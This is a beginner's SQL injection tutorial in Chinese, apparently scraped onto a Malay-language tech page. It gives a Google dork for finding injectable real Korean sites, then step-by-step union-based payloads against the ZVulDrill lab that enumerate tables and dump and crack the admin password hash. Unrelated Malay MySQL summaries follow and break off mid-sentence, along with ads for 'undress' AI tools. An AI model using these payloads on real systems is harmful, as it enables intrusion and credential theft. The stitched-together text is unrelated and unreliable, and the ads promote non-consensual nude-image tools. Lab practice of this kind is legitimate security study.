我也是才学 sql 注入一个星期,此篇文章是学给初学者看的
推荐书籍 《sql注入攻击与防御》http://www.ddooo.com/softdown/50160.htm
1、找到存在sql注入的网站
方法:在google中输入 site:kr inurl:php?id= 打开出现的网址,在网址后面添加 ’ (英文逗号)如果页面出现跳转 说明可能存在sql注入原理:一般网址都是类似 search.php?search=hello 相应的sql语句 可能是 select * from table_name where column_name='hello' 如果在网址后面添加 ‘ 则sql语句为 select * from table_name where column_name='hello'’ 如果网站没有进行sql注入过滤,会报错在GitHub有个Web漏洞演练项目,可以下载后部署在自己的电脑上(这里我就不教大家部署了,熟悉Web编程的大部分都会) https://github.com/710leo/ZVulDrill网页内容如下
2、检测字段长度
(1) http://localhost/ZVulDrill-master/search.php?search=hello%' order by 1--%20相当于sql语句 select * from table_name where colmun_name like '%hello%' order by 1 -- '说明 MySQL有三种注释 -- 是其中一种 但是 -- 后面要跟一个空格才有效 但是网址会自动去掉最后一个空格需要手动输入%20注释后面的sql语句不执行(2) 此时页面没有出错,用同样的方式 添加 order by 10页面出错,然后 order by 5 出错,order by 4 页面正确 说明字段长 43、查看数据库信息
方法:使用union语句提取数据 (1) http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,2,2,4 --%20sql语句 select * from table_name where column_name like '%hello%' and 1=2 union select 1,2,3,4union前的sql语句中 where条件恒为假,结果集为空,整个sql语句返回的是union后面的结果集
(2) 获取MySQL version user database 等相关信息 如上图所示,页面上显示 1,2 ,可以利用这个来显示我们需要的信息 http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,version(),user(),4 --%20 即 将 2,3 换成 version(),user() 页面如下

同理将 user() 换成 database() 得到数据库名 zvuldrilluser() ------------ wkdty@localhostversion() -------------- 5.6.17 (5.0以上的版本都带有一个 information_schema 的虚拟库里面存放的是所有库的信息.) database() ------------- zvuldrill
4、获取数据库数据
(1)获取表名http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,2,GROUP_CONCAT(DISTINCT table_name),4 from information_schema.columns where table_schema='zvuldrill'--%20
数据库中有3张表,对我们最有用的是admin这张表,以管理员身份进入网站可以看到各种信息(2)获取字段名http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,2,GROUP_CONCAT(DISTINCT column_name),4 from information_schema.columns where table_name='admin'--%20

(3)获取数据http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,2,GROUP_CONCAT(DISTINCT admin_id,admin_name,admin_pass),4 from admin--%20

admin_id 1 admin_name adminadmin_pass d033e22ae348aeb5660fc2140aec35850c4da997 (md5解密之后 得到admin)根据用户登录入口,找到后台登录入口 ,以管理员身份进入网站

Innodbbufferpool mengurangkan cakera I/O dengan data caching dan halaman pengindeksan, meningkatkan prestasi pangkalan data. Prinsip kerjanya termasuk: 1. Bacaan Data: Baca data dari Bufferpool; 2. Penulisan Data: Selepas mengubah suai data, tulis kepada Bufferpool dan menyegarkannya ke cakera secara teratur; 3. Pengurusan cache: Gunakan algoritma LRU untuk menguruskan halaman cache; 4. Mekanisme Membaca: Muatkan halaman data bersebelahan terlebih dahulu. Dengan saiz bufferpool dan menggunakan pelbagai contoh, prestasi pangkalan data dapat dioptimumkan.

Berbanding dengan bahasa pengaturcaraan lain, MySQL digunakan terutamanya untuk menyimpan dan mengurus data, manakala bahasa lain seperti Python, Java, dan C digunakan untuk pemprosesan logik dan pembangunan aplikasi. MySQL terkenal dengan prestasi tinggi, skalabilitas dan sokongan silang platform, sesuai untuk keperluan pengurusan data, sementara bahasa lain mempunyai kelebihan dalam bidang masing-masing seperti analisis data, aplikasi perusahaan, dan pengaturcaraan sistem.

MySQL bernilai belajar kerana ia adalah sistem pengurusan pangkalan data sumber terbuka yang sesuai untuk penyimpanan data, pengurusan dan analisis. 1) MySQL adalah pangkalan data relasi yang menggunakan SQL untuk mengendalikan data dan sesuai untuk pengurusan data berstruktur. 2) Bahasa SQL adalah kunci untuk berinteraksi dengan MySQL dan menyokong operasi CRUD. 3) Prinsip kerja MySQL termasuk seni bina klien/pelayan, enjin penyimpanan dan pengoptimum pertanyaan. 4) Penggunaan asas termasuk membuat pangkalan data dan jadual, dan penggunaan lanjutan melibatkan menyertai jadual menggunakan Join. 5) Kesilapan umum termasuk kesilapan sintaks dan isu kebenaran, dan kemahiran debugging termasuk menyemak sintaks dan menggunakan perintah menjelaskan. 6) Pengoptimuman prestasi melibatkan penggunaan indeks, pengoptimuman penyata SQL dan penyelenggaraan pangkalan data yang tetap.

MySQL sesuai untuk pemula untuk mempelajari kemahiran pangkalan data. 1. Pasang alat pelayan dan klien MySQL. 2. Memahami pertanyaan SQL asas, seperti SELECT. 3. Operasi data induk: Buat jadual, masukkan, kemas kini, dan padam data. 4. Belajar Kemahiran Lanjutan: Fungsi Subquery dan Window. 5. Debugging dan Pengoptimuman: Semak sintaks, gunakan indeks, elakkan pilih*, dan gunakan had.

MySQL dengan cekap menguruskan data berstruktur melalui struktur jadual dan pertanyaan SQL, dan melaksanakan hubungan antara meja melalui kunci asing. 1. Tentukan format data dan taip apabila membuat jadual. 2. Gunakan kunci asing untuk mewujudkan hubungan antara jadual. 3. Meningkatkan prestasi melalui pengindeksan dan pengoptimuman pertanyaan. 4. Secara kerap sandaran dan memantau pangkalan data untuk memastikan pengoptimuman keselamatan data dan prestasi.

MySQL adalah sistem pengurusan pangkalan data sumber terbuka yang digunakan secara meluas dalam pembangunan web. Ciri -ciri utamanya termasuk: 1. Menyokong pelbagai enjin penyimpanan, seperti InnoDB dan Myisam, sesuai untuk senario yang berbeza; 2. Menyediakan fungsi replikasi master-hamba untuk memudahkan pengimbangan beban dan sandaran data; 3. Meningkatkan kecekapan pertanyaan melalui pengoptimuman pertanyaan dan penggunaan indeks.

SQL digunakan untuk berinteraksi dengan pangkalan data MySQL untuk merealisasikan penambahan data, penghapusan, pengubahsuaian, pemeriksaan dan reka bentuk pangkalan data. 1) SQL Melaksanakan operasi data melalui Pilih, Masukkan, Kemas kini, Padam Penyataan; 2) Gunakan pernyataan membuat, mengubah, drop untuk reka bentuk dan pengurusan pangkalan data; 3) Pertanyaan kompleks dan analisis data dilaksanakan melalui SQL untuk meningkatkan kecekapan membuat keputusan perniagaan.

Operasi asas MySQL termasuk membuat pangkalan data, jadual, dan menggunakan SQL untuk melakukan operasi CRUD pada data. 1. Buat pangkalan data: createdatabasemy_first_db; 2. Buat Jadual: CreateTableBooks (Idintauto_IncrementPrimaryKey, Titlevarchar (100) NotNull, Authorvarchar (100) NotNull, Published_yearint); 3. Masukkan Data: InsertIntoBooks (Tajuk, Pengarang, Published_year) VA


Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

MantisBT
Mantis ialah alat pengesan kecacatan berasaskan web yang mudah digunakan yang direka untuk membantu dalam pengesanan kecacatan produk. Ia memerlukan PHP, MySQL dan pelayan web. Lihat perkhidmatan demo dan pengehosan kami.

SublimeText3 Linux versi baharu
SublimeText3 Linux versi terkini

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Muat turun versi mac editor Atom
Editor sumber terbuka yang paling popular

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)